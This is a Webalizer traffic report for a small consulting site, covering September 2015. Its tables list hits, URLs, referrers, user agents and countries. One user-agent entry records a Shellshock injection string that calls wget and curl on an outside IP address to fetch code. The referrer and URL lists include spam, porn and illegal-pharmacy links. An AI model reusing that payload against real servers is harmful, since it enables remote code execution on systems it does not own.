Usage Statistics for mjeconsulting.com

Summary Period: September 2015
Generated 01-Oct-2015 02:48 EDT

[Daily Statistics] [Hourly Statistics] [URLs] [Entry] [Exit] [Sites] [Referrers] [Search] [Agents] [Countries]

Monthly Statistics for September 2015
Total Hits 3420
Total Files 2083
Total Pages 2676
Total Visits 2183
Total KBytes 15109
Total Unique Sites 447
Total Unique URLs 284
Total Unique Referrers 88
Total Unique User Agents 163
. Avg Max
Hits per Hour 4 497
Hits per Day 114 582
Files per Day 69 90
Pages per Day 89 249
Sites per Day 14 65
Visits per Day 72 91
KBytes per Day 504 762
Hits by Response Code
Code 200 - OK 60.91% 2083
Code 206 - Partial Content 0.06% 2
Code 304 - Not Modified 3.01% 103
Code 400 - Bad Request 0.44% 15
Code 403 - Forbidden 1.40% 48
Code 404 - Not Found 0.12% 4
Code 405 - Method Not Allowed 0.15% 5
Code 500 - Internal Server Error 33.92% 1160

Daily usage for September 2015

Daily Statistics for September 2015
Day Hits Files Pages Visits Sites KBytes
1 92 2.69% 66 3.17% 80 2.99% 75 3.44% 56 12.53% 410 2.71%
2 98 2.87% 63 3.02% 86 3.21% 77 3.53% 58 12.98% 471 3.12%
3 82 2.40% 59 2.83% 74 2.77% 71 3.25% 48 10.74% 380 2.52%
4 93 2.72% 65 3.12% 70 2.62% 67 3.07% 58 12.98% 489 3.24%
5 81 2.37% 54 2.59% 65 2.43% 63 2.89% 52 11.63% 310 2.05%
6 98 2.87% 80 3.84% 79 2.95% 75 3.44% 61 13.65% 605 4.00%
7 76 2.22% 61 2.93% 59 2.20% 58 2.66% 56 12.53% 348 2.30%
8 111 3.25% 58 2.78% 60 2.24% 59 2.70% 61 13.65% 407 2.70%
9 81 2.37% 52 2.50% 59 2.20% 59 2.70% 44 9.84% 560 3.71%
10 99 2.89% 74 3.55% 83 3.10% 82 3.76% 60 13.42% 521 3.45%
11 107 3.13% 75 3.60% 97 3.62% 91 4.17% 56 12.53% 575 3.81%
12 104 3.04% 65 3.12% 97 3.62% 74 3.39% 54 12.08% 414 2.74%
13 99 2.89% 77 3.70% 93 3.48% 78 3.57% 54 12.08% 411 2.72%
14 101 2.95% 76 3.65% 92 3.44% 81 3.71% 55 12.30% 614 4.06%
15 110 3.22% 82 3.94% 92 3.44% 84 3.85% 65 14.54% 762 5.04%
16 99 2.89% 73 3.50% 85 3.18% 77 3.53% 58 12.98% 396 2.62%
17 106 3.10% 78 3.74% 93 3.48% 79 3.62% 61 13.65% 590 3.90%
18 92 2.69% 69 3.31% 81 3.03% 69 3.16% 56 12.53% 353 2.33%
19 107 3.13% 87 4.18% 95 3.55% 78 3.57% 56 12.53% 692 4.58%
20 98 2.87% 70 3.36% 82 3.06% 73 3.34% 55 12.30% 597 3.95%
21 106 3.10% 75 3.60% 91 3.40% 79 3.62% 62 13.87% 543 3.60%
22 95 2.78% 73 3.50% 80 2.99% 67 3.07% 55 12.30% 506 3.35%
23 27 0.79% 19 0.91% 24 0.90% 24 1.10% 21 4.70% 250 1.65%
24 114 3.33% 90 4.32% 101 3.77% 88 4.03% 65 14.54% 556 3.68%
25 582 17.02% 85 4.08% 249 9.30% 81 3.71% 59 13.20% 668 4.42%
26 123 3.60% 70 3.36% 113 4.22% 71 3.25% 51 11.41% 626 4.14%
27 109 3.19% 69 3.31% 100 3.74% 82 3.76% 56 12.53% 430 2.85%
28 106 3.10% 78 3.74% 100 3.74% 80 3.66% 58 12.98% 598 3.96%
29 118 3.45% 74 3.55% 101 3.77% 69 3.16% 63 14.09% 634 4.20%
30 106 3.10% 66 3.17% 95 3.55% 73 3.34% 55 12.30% 396 2.62%

Hourly usage for September 2015

Hourly Statistics for September 2015
Hour Hits Files Pages KBytes
Avg Total Avg Total Avg Total Avg Total
0 3 110 3.22% 2 84 4.03% 3 100 3.74% 18 549 3.63%
1 3 91 2.66% 1 51 2.45% 2 75 2.80% 10 312 2.07%
2 3 97 2.84% 2 79 3.79% 2 87 3.25% 31 918 6.08%
3 3 107 3.13% 2 85 4.08% 3 101 3.77% 18 553 3.66%
4 2 74 2.16% 1 51 2.45% 2 64 2.39% 12 346 2.29%
5 4 149 4.36% 4 121 5.81% 4 134 5.01% 21 639 4.23%
6 4 120 3.51% 3 95 4.56% 3 103 3.85% 20 602 3.99%
7 5 174 5.09% 2 79 3.79% 3 100 3.74% 20 605 4.00%
8 5 162 4.74% 4 123 5.90% 4 148 5.53% 23 700 4.63%
9 4 126 3.68% 2 76 3.65% 3 105 3.92% 26 792 5.24%
10 4 123 3.60% 2 88 4.22% 3 103 3.85% 30 888 5.88%
11 5 152 4.44% 4 137 6.58% 4 135 5.04% 36 1093 7.24%
12 3 105 3.07% 2 85 4.08% 2 89 3.33% 20 612 4.05%
13 5 155 4.53% 3 97 4.66% 4 135 5.04% 32 962 6.37%
14 3 113 3.30% 2 74 3.55% 3 101 3.77% 11 334 2.21%
15 2 79 2.31% 1 44 2.11% 2 68 2.54% 11 341 2.26%
16 3 97 2.84% 2 80 3.84% 2 85 3.18% 17 521 3.45%
17 4 138 4.04% 3 109 5.23% 4 122 4.56% 27 810 5.36%
18 4 125 3.65% 3 90 4.32% 3 105 3.92% 18 541 3.58%
19 2 79 2.31% 1 35 1.68% 1 59 2.20% 16 468 3.09%
20 5 151 4.42% 3 109 5.23% 4 132 4.93% 18 551 3.65%
21 20 629 18.39% 3 106 5.09% 9 278 10.39% 20 604 4.00%
22 2 89 2.60% 1 57 2.74% 2 78 2.91% 21 617 4.08%
23 5 175 5.12% 4 128 6.14% 5 169 6.32% 25 753 4.98%

Top 30 of 284 Total URLs
# Hits KBytes URL
1 1781 52.08% 6982 46.21% /
2 61 1.78% 1497 9.91% /eMail.gif
3 11 0.32% 367 2.43% /untitled.swf
4 6 0.18% 4 0.03% /0439/
5 6 0.18% 21 0.14% /0439/purchase-lipitor-without-a-prescription-overnight-shipping.html
6 5 0.15% 26 0.18% /images/
7 5 0.15% 0 0.00% /modlogan/mla-full-web_user_location_countries-201309.html
8 4 0.12% 28 0.18% /modlogan/m_usage_200906_001_001.html
9 4 0.12% 29 0.19% /modlogan/mla-web_request_extensions_traffic-201201.html
10 4 0.12% 39 0.26% /webalizer/
11 3 0.09% 30 0.20% /M
12 3 0.09% 70 0.46% /modlogan/
13 3 0.09% 7 0.05% /modlogan/m_usage_200909_004_003.html
14 3 0.09% 20 0.13% /modlogan/mla-web_user_location_provinces-201301.html
15 3 0.09% 18 0.12% /modlogan/mla-web_user_users-201201.html
16 3 0.09% 9 0.06% /suchen.html
17 2 0.06% 0 0.00% /modlogan/m_usage_200904_002_004.html
18 2 0.06% 5 0.03% /modlogan/m_usage_200904_004_002.html
19 2 0.06% 5 0.04% /modlogan/m_usage_200907_002_001.html
20 2 0.06% 12 0.08% /modlogan/m_usage_200907_002_002.html
21 2 0.06% 5 0.03% /modlogan/m_usage_200907_002_004.html
22 2 0.06% 10 0.07% /modlogan/m_usage_200912_003_001.html
23 2 0.06% 10 0.07% /modlogan/m_usage_201004_003_001.html
24 2 0.06% 5 0.03% /modlogan/m_usage_201004_004_001.html
25 2 0.06% 23 0.15% /modlogan/mla-full-web_user_os-201111.html
26 2 0.06% 0 0.00% /modlogan/mla-full-web_user_users-201309.html
27 2 0.06% 18 0.12% /modlogan/mla-full-web_user_view_duration-201203.html
28 2 0.06% 21 0.14% /modlogan/mla-web_user_os_visits-201208.html
29 2 0.06% 232 1.54% /webalizer/usage_201305.html
30 2 0.06% 235 1.56% /webalizer/usage_201310.html

Top 10 of 284 Total URLs By KBytes
# Hits KBytes URL
1 1781 52.08% 6982 46.21% /
2 61 1.78% 1497 9.91% /eMail.gif
3 11 0.32% 367 2.43% /untitled.swf
4 2 0.06% 235 1.56% /webalizer/usage_201310.html
5 2 0.06% 232 1.54% /webalizer/usage_201305.html
6 1 0.03% 164 1.08% /modlogan/mla-full-web_user_host_visits-201309.html
7 1 0.03% 162 1.07% /modlogan/mla-full-web_user_host-201310.html
8 1 0.03% 159 1.05% /modlogan/mla-full-web_user_host_visits-201301.html
9 1 0.03% 122 0.81% /webalizer/usage_201409.html
10 1 0.03% 122 0.81% /webalizer/usage_201508.html

Top 10 of 273 Total Entry Pages
# Hits Visits URL
1 1781 52.08% 1561 82.81% /
2 6 0.18% 6 0.32% /0439/
3 6 0.18% 6 0.32% /0439/purchase-lipitor-without-a-prescription-overnight-shipping.html
4 5 0.15% 5 0.27% /images/
5 5 0.15% 5 0.27% /modlogan/mla-full-web_user_location_countries-201309.html
6 4 0.12% 4 0.21% /modlogan/m_usage_200906_001_001.html
7 4 0.12% 4 0.21% /modlogan/mla-web_request_extensions_traffic-201201.html
8 4 0.12% 4 0.21% /webalizer/
9 3 0.09% 3 0.16% /M
10 3 0.09% 3 0.16% /modlogan/

Top 10 of 279 Total Exit Pages
# Hits Visits URL
1 1781 52.08% 1558 82.52% /
2 6 0.18% 6 0.32% /0439/
3 6 0.18% 6 0.32% /0439/purchase-lipitor-without-a-prescription-overnight-shipping.html
4 5 0.15% 5 0.26% /images/
5 5 0.15% 5 0.26% /modlogan/mla-full-web_user_location_countries-201309.html
6 4 0.12% 4 0.21% /modlogan/mla-web_request_extensions_traffic-201201.html
7 4 0.12% 4 0.21% /webalizer/
8 3 0.09% 3 0.16% /M
9 3 0.09% 3 0.16% /modlogan/
10 3 0.09% 3 0.16% /modlogan/m_usage_200909_004_003.html

Top 30 of 447 Total Sites
# Hits Files KBytes Visits Hostname
1 404 11.81% 6 0.29% 26 0.17% 2 0.09% 183.60.244.49
2 83 2.43% 3 0.14% 12 0.08% 1 0.05% 183.60.244.30
3 52 1.52% 52 2.50% 211 1.40% 17 0.78% 176-8-89-217-lvv.broadband.kyivstar.net
4 46 1.35% 46 2.21% 187 1.23% 14 0.64% 178-137-93-29-lvv.broadband.kyivstar.net
5 45 1.32% 37 1.78% 280 1.85% 43 1.97% baiduspider-180-76-15-140.crawl.baidu.com
6 43 1.26% 33 1.58% 259 1.71% 39 1.79% baiduspider-180-76-15-8.crawl.baidu.com
7 42 1.23% 33 1.58% 247 1.64% 40 1.83% baiduspider-180-76-15-9.crawl.baidu.com
8 41 1.20% 32 1.54% 389 2.57% 38 1.74% baiduspider-180-76-15-143.crawl.baidu.com
9 40 1.17% 33 1.58% 142 0.94% 36 1.65% baiduspider-180-76-15-15.crawl.baidu.com
10 39 1.14% 39 1.87% 158 1.05% 10 0.46% 176-8-91-248-lvv.broadband.kyivstar.net
11 38 1.11% 32 1.54% 145 0.96% 37 1.69% baiduspider-180-76-15-136.crawl.baidu.com
12 36 1.05% 30 1.44% 129 0.85% 35 1.60% baiduspider-180-76-15-7.crawl.baidu.com
13 35 1.02% 26 1.25% 318 2.10% 32 1.47% baiduspider-180-76-15-12.crawl.baidu.com
14 35 1.02% 27 1.30% 116 0.77% 34 1.56% baiduspider-180-76-15-152.crawl.baidu.com
15 35 1.02% 25 1.20% 170 1.12% 34 1.56% baiduspider-180-76-15-155.crawl.baidu.com
16 35 1.02% 27 1.30% 234 1.55% 34 1.56% baiduspider-180-76-15-156.crawl.baidu.com
17 35 1.02% 28 1.34% 257 1.70% 33 1.51% baiduspider-180-76-15-161.crawl.baidu.com
18 35 1.02% 28 1.34% 162 1.07% 34 1.56% baiduspider-180-76-15-5.crawl.baidu.com
19 34 0.99% 28 1.34% 222 1.47% 33 1.51% baiduspider-180-76-15-145.crawl.baidu.com
20 34 0.99% 27 1.30% 185 1.22% 34 1.56% baiduspider-180-76-15-28.crawl.baidu.com
21 34 0.99% 20 0.96% 115 0.76% 34 1.56% baiduspider-180-76-15-29.crawl.baidu.com
22 34 0.99% 28 1.34% 132 0.87% 33 1.51% baiduspider-180-76-15-32.crawl.baidu.com
23 33 0.96% 26 1.25% 409 2.71% 31 1.42% baiduspider-180-76-15-141.crawl.baidu.com
24 33 0.96% 26 1.25% 247 1.64% 31 1.42% baiduspider-180-76-15-158.crawl.baidu.com
25 33 0.96% 28 1.34% 207 1.37% 32 1.47% baiduspider-180-76-15-20.crawl.baidu.com
26 32 0.94% 26 1.25% 213 1.41% 32 1.47% baiduspider-180-76-15-147.crawl.baidu.com
27 32 0.94% 26 1.25% 124 0.82% 31 1.42% baiduspider-180-76-15-151.crawl.baidu.com
28 32 0.94% 23 1.10% 108 0.71% 30 1.37% baiduspider-180-76-15-17.crawl.baidu.com
29 32 0.94% 22 1.06% 108 0.72% 32 1.47% baiduspider-180-76-15-26.crawl.baidu.com
30 31 0.91% 23 1.10% 98 0.65% 29 1.33% baiduspider-180-76-15-10.crawl.baidu.com

Top 10 of 447 Total Sites By KBytes
# Hits Files KBytes Visits Hostname
1 27 0.79% 19 0.91% 467 3.09% 25 1.15% baiduspider-180-76-15-13.crawl.baidu.com
2 33 0.96% 26 1.25% 409 2.71% 31 1.42% baiduspider-180-76-15-141.crawl.baidu.com
3 41 1.20% 32 1.54% 389 2.57% 38 1.74% baiduspider-180-76-15-143.crawl.baidu.com
4 31 0.91% 26 1.25% 353 2.33% 30 1.37% baiduspider-180-76-15-30.crawl.baidu.com
5 26 0.76% 19 0.91% 329 2.18% 26 1.19% baiduspider-180-76-15-157.crawl.baidu.com
6 26 0.76% 22 1.06% 318 2.10% 26 1.19% baiduspider-180-76-15-139.crawl.baidu.com
7 35 1.02% 26 1.25% 318 2.10% 32 1.47% baiduspider-180-76-15-12.crawl.baidu.com
8 45 1.32% 37 1.78% 280 1.85% 43 1.97% baiduspider-180-76-15-140.crawl.baidu.com
9 28 0.82% 23 1.10% 270 1.79% 28 1.28% baiduspider-180-76-15-34.crawl.baidu.com
10 26 0.76% 22 1.06% 263 1.74% 23 1.05% baiduspider-180-76-15-138.crawl.baidu.com

Top 30 of 88 Total Referrers
# Hits Referrer
1 3024 88.42% - (Direct Request)
2 45 1.32% http://success-seo.com/try.php
3 34 0.99% https://iqoption.com/promo/simple-demo/
4 15 0.44% http://buttons-for-website.com
5 9 0.26% http://www.bookmaker-bet.com/
6 8 0.23% http://pornogig.com/
7 6 0.18% http://allcredits.su/
8 6 0.18% http://ify.ru/
9 6 0.18% http://pozdrawleniya.su/
10 6 0.18% http://www.play-euro-lotto.com/
11 6 0.18% http://www.valkiria-tk.ru/
12 5 0.15% http://cineworks.ru/
13 5 0.15% http://google.com/search
14 5 0.15% http://www.banibistro.ru/
15 4 0.12% http://link.ac/
16 4 0.12% http://virtuallawer.com/
17 4 0.12% http://xn-----6kcatjtblopdnrifmgebre3s.xn--p1ai/
18 3 0.09% ()
19 3 0.09% http://aff.optitrade24.com/click.php
20 3 0.09% http://android-vsem.org/
21 3 0.09% http://avtomatoff.com/
22 3 0.09% http://balashihaevakuator.ru/
23 3 0.09% http://brothers-smaller.ru/
24 3 0.09% http://carswithmuscles.com/
25 3 0.09% http://ccpfy.net/onlayn-porno-video-2015-2016/
26 3 0.09% http://domik-derevne.ru/
27 3 0.09% http://downloadsphotoshop.com/
28 3 0.09% http://gk-atlant.info/
29 3 0.09% http://highlandmedia.net/tags/
30 3 0.09% http://hoporno.com/

Top 15 of 163 Total User Agents
# Hits User Agent
1 1772 51.81% Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
2 487 14.24% Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
3 106 3.10% Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36
4 62 1.81% Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
5 45 1.32% Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
6 38 1.11% Mozilla/5.0 (Windows NT 5.1; rv:32.0) Gecko/20100101 Firefox/31.0
7 38 1.11% Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26(KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25
8 33 0.96% Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
9 29 0.85% Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)
10 24 0.70% NerdyBot
11 21 0.61% Mozilla/4.0 (compatible; MSIE 6.0; Windows XP)
12 20 0.58% () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget 79.99.248.2/TEST231;curl 79.
13 20 0.58% x00_-gawa.sa.pilipinas.2015
14 18 0.53% Mozilla/5.0 (Windows NT 5.1; rv:6.0.2) Gecko/20100101 Firefox/6.0.2
15 15 0.44% Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2251.0 Safari/537.36

Usage by Country for September 2015

Top 30 of 31 Total Countries
# Hits Files KBytes Country
1 2084 60.94% 1542 74.03% 11646 77.08% Commercial (com)
2 732 21.40% 138 6.63% 917 6.07% Unresolved/Unknown
3 277 8.10% 236 11.33% 1073 7.10% Network (net)
4 49 1.43% 48 2.30% 686 4.54% Brazil
5 47 1.37% 46 2.21% 187 1.23% Ukraine
6 36 1.05% 0 0.00% 0 0.00% Poland
7 32 0.94% 13 0.62% 176 1.17% Italy
8 29 0.85% 4 0.19% 16 0.11% British Indian Ocean Territory
9 20 0.58% 14 0.67% 57 0.38% Germany
10 18 0.53% 9 0.43% 40 0.26% Educational (edu)
11 14 0.41% 3 0.14% 15 0.10% European Union
12 11 0.32% 1 0.05% 7 0.05% Non-Profit (org)
13 11 0.32% 0 0.00% 0 0.00% Turkey
14 10 0.29% 3 0.14% 12 0.08% Russian Federation
15 8 0.23% 2 0.10% 29 0.19% Thailand
16 5 0.15% 2 0.10% 29 0.19% Argentina
17 5 0.15% 4 0.19% 16 0.11% China
18 4 0.12% 1 0.05% 4 0.03% Mexico
19 4 0.12% 4 0.19% 57 0.38% Portugal
20 4 0.12% 2 0.10% 8 0.05% Seychelles
21 4 0.12% 0 0.00% 0 0.00% Singapore
22 3 0.09% 3 0.14% 33 0.22% Greece
23 2 0.06% 2 0.10% 8 0.05% Address Routing (arpa)
24 2 0.06% 2 0.10% 29 0.19% India
25 2 0.06% 2 0.10% 29 0.19% Japan
26 2 0.06% 2 0.10% 29 0.19% Uruguay
27 1 0.03% 0 0.00% 0 0.00% Generic Business (biz)
28 1 0.03% 0 0.00% 0 0.00% Finland
29 1 0.03% 0 0.00% 0 0.00% France
30 1 0.03% 1 0.05% 4 0.03% United States


Generated by Webalizer Version 2.20